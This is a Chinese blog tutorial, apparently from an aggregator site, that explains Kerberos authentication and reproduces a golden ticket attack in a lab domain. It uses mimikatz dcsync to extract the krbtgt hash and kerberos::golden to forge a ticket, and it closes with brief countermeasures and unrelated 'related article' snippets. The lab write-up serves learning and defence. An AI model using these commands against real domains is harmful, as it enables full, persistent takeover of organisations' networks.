内网横向——域渗透之黄金票据复现

kerberos 协议

Kerberos是一种由MIT(麻省理工大学)提出的一种网络身份验证协议。它旨在通过使用密钥加密技术为客户端/服务器应用程序提供强身份验证。

在Kerberos协议中主要是有三个角色的存在:

  1. 访问服务的Client(以下表述为Client 或者用户)
  2. 提供服务的Server(以下表述为服务)
  3. KDC(Key Distribution Center)密钥分发中心 kerberos 测试工具介绍

其中KDC服务默认会安装在一个域的域控中,而Client和Server为域内的用户或者是服务,如HTTP服务,SQL服务。在Kerberos中Client是否有权限访问Server端的服务由KDC发放的票据来决定。就是说Kerberos通过KDC为客户端和服务器之间的安全通信建立了一个可信任的第三方,客户端通过KDC颁发的票据来获得对服务器资源的访问权限,从而实现了安全的身份验证和授权机制。

kerberos简化认证图

  1. AS_REQ: Client向KDC发起AS_REQ,请求凭据是Client hash加密的时间戳
  2. AS_REP: KDC使用Client hash进行解密,如果结果正确就返回用krbtgt hash加密的TGT票据,TGT里面包含PAC,PAC包含Client的sid,Client所在的组。
  3. TGS_REQ: Client凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求
  4. TGS_REP: KDC使用krbtgt hash进行解密,如果结果正确,就返回用服务hash 加密的TGS票据(这一步不管用户有没有访问服务的权限,只要TGT正确,就返回TGS票据)
  5. AP_REQ: Client拿着TGS票据去请求服务
  6. AP_REP: 服务使用自己的hash解密TGS票据。如果解密正确,就拿着PAC去KDC那边问Client有没有访问权限,域控解密PAC。获取Client的sid,以及所在的组,再根据该服务的ACL,判断Client是否有访问服务的权限。

黄金票据的原理和条件

原理

黄金票据就是伪造krbtgt用户的TGT票据,krbtgt用户是域控中用来管理发放票据的用户,拥有了该用户的权限,就可以伪造系统中的任意用户。

在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。

拿到域控(没错就是拿到域控QAQ),适合做权限维持
有krbtgt用户的hash值(aeshash ntlmhash等都可以,后面指定一下算法就行了)

在使用黄金票据(Golden Ticket)攻击时,需要以下信息:

  1. 域名
  2. 域的SID 值
  3. 域的KRBTGT账户NTLM密码哈希
  4. 伪造用户名

kerberos请求小结:

  • Client 上的用户请求KDC上的AS服务TGT
  • Client 使用TGT请求KDC上的TGS得到ST(TGS ticket)
  • Client使用ST(TGS Ticket)访问Server

黄金票据作用

黄金票据常用于权限维持
当我们获得域控的控制权限后,有可能获取域内所有用户的hash,和krbtgt的hash。这时,由于一些原因导致我们失去对目标的控制权,但是我们还留有一个普通用户的权限,并且krbtgt的密码没有更改,此时我们可以利用krbtgt用户的ntlm hash制作黄金票据伪造tgt,重新获取域控的管理权限。

实验工具与环境

服务端:Windows Server 2003 Enterprise x64

客户端:Windows 7 旗舰版

工具:mimikatz

搭建域控环境:

Windows Server 2003 配置域服务器

点击开始->管理工具->配置您的服务器向导

下一步一直到

选择自定义配置

下一步选择域控服务器

下一步

下一步,选择“新域的域控制器”,下一步选择“在新林中的域”

自己起个名,ytdd.com

域NetBIOS名

下一步,默认

下一步,选择第二条

下一步

下一步设置还原密码“ytdd”,下一步

等待

遇到这个问题:

请将标为'WindowsServer2003nterprisex64 Edition CD-ROM’的光盘插入 CD-ROM 驱动器 ①:),然后单击“确定”

只需要在虚拟机设置里面使用原来的iso文件就行了

提示我们配置静态IP

配置静态的IP地址,先查看IP地址

写入

等待

配置完成后重启服务器

完成

点击开始->管理工具->管理您的服务器,点击管理Active Directory中的用户和计算机

找到ytdd.com下的Users目录,右键选择创建用户

点击下一步设置密码,也与win7虚拟机用户的密码一致(不确定这里究竟需不需要一致),选择密码永不过期;password(Ytdd233..)

可以看到新建的用户

设置完成后,打开cmd,输入gpupdate刷新策略;

至此设置完毕。

Windows 7 服务器配置

点击网络配置静态IP

右键计算机->属性,在计算机名称、域和工作组设置一栏中找到更改设置并点击;

点击更改,在弹出的窗口中填入信息。将计算机名命名为caixukun,修改隶属于ytdd.com域,点击确定,弹出窗口,需要输入域中的用户和密码。之前在域中也创建了名为caixukun的用户,输入用户名和密码,点击确定;

提示成功加入域

提示我们重启,立即重启

用户界面已经变了

查看域

黄金票据攻击复现

基本信息获取(SID,所处域)
这里直接在域控制权上进行操作
whoami /user    获取域的sid值(去掉最后的-500,500表示为administrator用户)
net config workstation  查看所处域

1、获取域名

whoami
net time /domain
ipconfig /all

3、获取域的KRBTGT账户NTLM密码哈希或者aes-256值

用mimikatz

lsadump::dcsync /domain:ytdd.com /user:krbtgt /csv

客户端打开mimikatz,首先清除之前的票据,依次输入指令

kerberos::purge

kerberos::list

dir \\ytdd-bca237.ytdd.com\c$

进行黄金票据的制作。指令格式为:

kerberos::golden /user:普通域用户 /domain:域 /sid:域的SID /krbtgt:krbtgt的NTLM_Hash /ticket:名字.kirbi

则生成黄金票据的指令为:

kerberos:golden /user:caixukun /domain:ytdd.com /sid:S-1-5-21-1206714925-2034148990-4264453829 /krbtgt: /ticket:ytdd.kirbi

参考:

3. mimikatz

  • kerberos::golden

mimikatz的kerberos::golden模块可以用于制作黄金票据,票据格式是.kirbi

首先获取krbtgt的hash

image-20191012175213102

获取域的sid

image-20191104153401060

制作黄金票据

防护对策

  1. 限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机,将所有其他权限委派 给自定义管理员组。降低攻击者访问域控制器的Active Directory的ntds.dit文件的可能。 
  2. 定期更改krbtgt账户的密码。

建议参考:前言 | windows protocol

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/588052.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

redis链表结构和简单动态字符串(SDS)

1.双向链表 redis中的普通链表是双向链表。通过链表节点结构体可知有全驱节点和后继节点。 1.链表节点和链表 //adlist.h typedef struct listNode {struct listNode *prev; //前驱节点struct listNode *next; //后继节点void *value; //节点值 } list…

33-4 XXE漏洞 - xxe判断

判断是否存在 XXE 攻击漏洞: 1)有源码情况: 查找相关函数,如 simplexml_load_string(),用于检测 XML 是否会被解析。 2)无源码情况: 抓包检查报文是否包含 XML 传参,如果是 XML …

Java项目:86 springboot电影评论网站系统设计与实现

作者主页:源码空间codegym 简介:Java领域优质创作者、Java项目、学习资料、技术互助 文中获取源码 项目介绍 本电影评论网站管理员和用户。 管理员功能有个人中心,用户管理,电影类别管理,电影信息管理,留…

CLIP 图文检索,相似度计算

CLIP 是OpenAI提出的神经网络,它可以从自然语言监督中有效地学习视觉概念。 CLIP 可以应用于任何视觉分类基准,只需提供要识别的视觉类别的名称,类似于 GPT-2 和 GPT-3 的“零样本”功能。 相关paper 用法可以参考github 这里举几个使用CLI…

时间管理系统的设计与实现|Springboot+ Mysql+Java+ B/S结构(可运行源码+数据库+设计文档)大学生

本项目包含可运行源码数据库LW,文末可获取本项目的所有资料。 推荐阅读300套最新项目持续更新中..... 最新ssmjava项目文档视频演示可运行源码分享 最新jspjava项目文档视频演示可运行源码分享 最新Spring Boot项目文档视频演示可运行源码分享 2024年56套包含ja…

JVM 组成

文章目录 概要JVM 是 Java程序的运行环境(java二进制字节码的运行环境)JVM 的主要组成部分运行流程:程序计数器堆元空间方法区常量池运行时常量池 概要 JVM 是 Java程序的运行环境(java二进制字节码的运行环境) 好处&…

在linux下conda 创建虚拟环境失败的解决方法

报错内容一&#xff1a; Solving environment: failed CondaHTTPError: HTTP 000 CONNECTION FAILED for url <https://conda.anaconda.org/conda-forge/noarch/repodata.json> Elapsed: - An HTTP error occurred when trying to retrieve this URL. HTTP errors are…

关系型数据库与非关系型数据库、Redis数据库

相比于其他的内存/缓存数据库&#xff0c;redis可以方便的实现持久化的功能&#xff08;保存至磁盘中&#xff09; 一、关系数据库与非关系型数据库 1.1 关系型数据库 一个结构化的数据库&#xff0c;创建在关系模型基础上一般面向于记录 SQL语句 (标准数据查询语言) 就是一种…

可视化GIS开发:初识地图12大坐标系以及屏幕坐标

hello&#xff0c;我是贝格前端工场&#xff0c;地图在可视化开发中随处可见&#xff0c;地图需要用到坐标来标明位置关系&#xff0c;并映射的屏幕上&#xff0c;我们才能看到&#xff0c;本文先介绍地图中的常用坐标系&#xff0c;欢迎评论区补充&#xff0c;转发和分享。 在…

ubuntu20.04 运行 lio-sam 流程记录

ubuntu20.04 运行 lio-sam 一、安装和编译1.1、安装 ROS11.2、安装 gtsam1.3、安装依赖1.4、下载源码1.5、修改文件1.6、编译和运行 二、官方数据集的运行2.1、casual_walk_2.bag2.2、outdoor.bag、west.bag2.3、park.bag 三、一些比较好的参考链接 记录流程&#xff0c;方便自…

达梦配置ODBC连接

达梦配置ODBC连接 基础环境 操作系统&#xff1a;Red Hat Enterprise Linux Server release 7.9 (Maipo) 数据库版本&#xff1a;DM Database Server 64 V8 架构&#xff1a;单实例1 下载ODBC包 下载网址&#xff1a;https://www.unixodbc.org/ unixODBC-2.3.0.tar.gz2 编译并…

试过了,ChatGPT确实不用注册就可以使用了!

看到官网说不用登录也可以直接使用ChatGPT 我们来试一下 直接打开官网 默认是直接进入了chatgpt3.5的聊天界面 之前是默认进的登录页面 聊一下试试 直接回复了&#xff0c;目前属于未登录状态&#xff0c;挺好&#xff01; 来试下ChatGPT4 跳转到了登录页面 目前来看gpt4还…